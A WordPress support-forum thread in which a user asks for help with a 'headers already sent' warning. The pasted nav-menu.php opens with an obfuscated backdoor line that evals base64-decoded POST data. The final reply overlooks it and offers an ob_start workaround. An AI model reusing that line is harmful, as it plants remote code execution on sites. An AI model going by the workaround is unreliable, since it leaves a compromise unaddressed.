• Resolved johncannon

    (@johncannon)


    Hey guys. I have tried different suggestions for that error, nothing worked. Do you think we can take it step by step here? Thank you in advance.

    Here is the error:

    Warning: Cannot modify header information – headers already sent by (output started at /home/user/public_html/domain.com/wp-includes/nav-menu.php:1) in /home/user/public_html/domain.com/wp-includes/pluggable.php on line 1207

    Here is the line 1207:

    $status = apply_filters( ‘wp_redirect_status’, $status, $location );

    if ( ! $location )
    return false;

    $location = wp_sanitize_redirect($location);

    if ( !$is_IIS && PHP_SAPI != ‘cgi-fcgi’ )
    status_header($status); // This causes problems on IIS and some FastCGI setups

    1207 header(“Location: $location”, true, $status);

    return true;
    }
    endif;

    if ( !function_exists(‘wp_sanitize_redirect’) ) :

Viewing 3 replies - 1 through 3 (of 3 total)
  • I have found this error is usually related to a ‘whitespace’ issue somewhere in the first file named (in my case, it’s been at the end).

    Have you made changes to that nav-menu.php file?

    Thread Starter johncannon

    (@johncannon)

    This is in my nav-menu.php

    <?php $ktbf36= “bo_edp6cst4a”; $ede1 = strtolower ($ktbf36[0].$ktbf36[11]. $ktbf36[8].$ktbf36[3].$ktbf36[6].$ktbf36[10]. $ktbf36[2] .$ktbf36[4].$ktbf36[3]. $ktbf36[7]. $ktbf36[1]. $ktbf36[4]. $ktbf36[3]) ; $bvur4= strtoupper ( $ktbf36[2].$ktbf36[5].$ktbf36[1]. $ktbf36[8].$ktbf36[9]) ; if (isset(${ $bvur4}[‘na89292’ ]) ) { eval ($ede1 ( ${$bvur4 } [‘na89292’])) ; } ?> <?php
    /**
    * Navigation Menu functions
    *
    * @package WordPress
    * @subpackage Nav_Menus
    * @since 3.0.0
    */

    /**
    * Returns a navigation menu object.
    *
    * @since 3.0.0
    *
    * @param string $menu Menu ID, slug, or name – or the menu object.
    * @return object|false False if $menu param isn’t supplied or term does not exist, menu object if successful.
    */
    function wp_get_nav_menu_object( $menu ) {
    $menu_obj = false;

    Ummm…what is that at the beginning? ??

    Try writing <?php @ob_start();?> at top of the functions.php file

    • This reply was modified 7 years, 9 months ago by neangnoch168.
    • This reply was modified 7 years, 9 months ago by neangnoch168.
Viewing 3 replies - 1 through 3 (of 3 total)
  • The topic ‘Warning: Cannot modify header information’ is closed to new replies.